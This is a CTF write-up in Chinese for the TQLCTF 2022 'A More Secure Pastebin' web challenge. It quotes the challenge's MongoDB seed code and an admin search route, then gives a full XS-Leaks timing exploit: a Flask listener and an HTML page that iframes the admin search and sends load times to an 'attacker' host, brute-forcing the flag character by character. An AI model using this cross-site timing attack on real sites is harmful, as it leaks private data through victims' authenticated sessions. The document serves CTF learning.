2022-TQLCTF-A More Secure Pastebin-WP

TQLCTF-Web-A More Secure Pastebin

题目与去年祥云杯的PackageManager有异曲同工之处,只不过那个是mongo的注入,但是也有XSLeaks的做法。

XSleaks - SCU-CTF HomePage (scuctf.com)

这道题是XSLeaks侧信道攻击,由init.js可知mongodb中有五条关于flag的记录。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
// add flags
Pastes.findOneAndUpdate(
{
username: "admin",
title: "secretpaste",
},
{
$setOnInsert: {
pasteid: uuid(),
content: `Hello, Admin. This is the flag. ${getFlag()}. Plz keep it secret.`,
},
},
{
upsert: true,
new: true,
}
)
.then(console.log("[+] Flag added"))
.catch((err) => console.log(err));

Pastes.findOneAndUpdate(
{
username: "admin",
title: "yet another secret paste",
},
{
$setOnInsert: {
pasteid: uuid(),
content: `Add a flag for test. ${getFlag()}.`,
},
},
{
upsert: true,
new: true,
}
)
.then(console.log("[+] Flag added"))
.catch((err) => console.log(err));

Pastes.findOneAndUpdate(
{
username: "admin",
title: "Admin admin",
},
{
$setOnInsert: {
pasteid: uuid(),
content: `This is cool. ${getFlag()}`,
},
},
{
upsert: true,
new: true,
}
)
.then(console.log("[+] Flag added"))
.catch((err) => console.log(err));
Pastes.findOneAndUpdate(
{
username: "admin",
title: "GML YS TQL",
},
{
$setOnInsert: {
pasteid: uuid(),
content: `GML YS kill the game. ${getFlag()}`,
},
},
{
upsert: true,
new: true,
}
)
.then(console.log("[+] Flag added"))
.catch((err) => console.log(err));
Pastes.findOneAndUpdate(
{
username: "admin",
title: "Do you know GYS?",
},
{
$setOnInsert: {
pasteid: uuid(),
content: `He is a god. ${getFlag()}`,
},
},
{
upsert: true,
new: true,
}
)
.then(console.log("[+] Flag added"))
.catch((err) => console.log(err));
}

再看到admin.js路由中/searchword接口

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
router.get("/searchword", ensureAdmin, async (req, res) => {
let { word } = req.query;

if (word) {
const searchRgx = new RegExp(escapeStringRegexp(word), "gi");
// No time to implemente the pagination. So only show 5 results first.
let paste = await Pastes.find({
content: searchRgx,
})
.sort({ date: "asc" })
.limit(5);
if (paste && paste.length > 0) {
let data = [];
await Promise.all(
paste.map(async (p) => {
let user = await User.findOne({ username: p.username });
data.push({
pasteid: p.pasteid,
title: p.title,
content: p.content,
date: p.date,
username: user.username,
website: user.website,
});
})
);
return res.json({ status: "success", data: data });
} else {
return res.json({ status: "fail", data: [] });
}
} else {
return res.json({ status: "fail", data: [] });
}
});

admin的搜索是进行全局搜索,所以可以构造一个页面去让bot进行搜索。

虽然因为跨域的原因我们没办法直接获取搜索结果,但是可以根据接口响应时间去判断出来,类似于SQL时间盲注入。

例如搜索TQLCTT,因为结果中没有这样的字符串,所以请求响应较快,而搜索TQLCTF则响应速度要稍慢。

以下是exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from flask import Flask,render_template,request,

app = Flask(__name__)
@app.route('/')
def index():
word = request.args.get('word')
return render_template('index.html',word="TQLCTF{%s"%word)

@app.route('/result',methods=['GET'])
def check():
word = request.args.get('word')
ms = request.args.get('ms')
print('%s,%s'%(word,ms))
return "asd"

if __name__ == '__main__':
app.run(host="0.0.0.0",port=5001)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<!-- templates/index.html-->
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
<!--头部-->
<script>
const start = Date.now() //这里开始计时
</script>
<script>
//abc()会将加载时间计算好之后,连同测试字符一同发给result路由。
abc = () => {
const end = Date.now()
var req = new XMLHttpRequest();
req.open('get',`http://attacker/result?word={{word}}&ms=${end - start}`,true);
req.withCredentials = true;
req.send();
}
</script>
<!--底部-->
</head>
<body>
<!--因为跨域的原因,所以选择用iframe加载搜索接口,加载完成后执行onload事件,即abc()。-->
<iframe src="https://proxy:443/admin/searchword?word={{word}}" onload="abc()"></iframe>
</body>
</html>

将flask服务器架设起来接收结果。

打开burp用测试器爆破,提交架设的页面让bot去访问,Payload选择小写字母和数字(因为flag只有八位小写字母和数字),爆破完一位往flask代码里再加一位就好了。

Untitled

Untitled

这里的前六位MD5验证码其实是可以重复使用的,如果失效了就再申请一个替换session即可。

Untitled

可以看到搜索有结果的请求,响应时间的差别还是很大的。

最后flag就是TQLCTF{5b2e5a7f}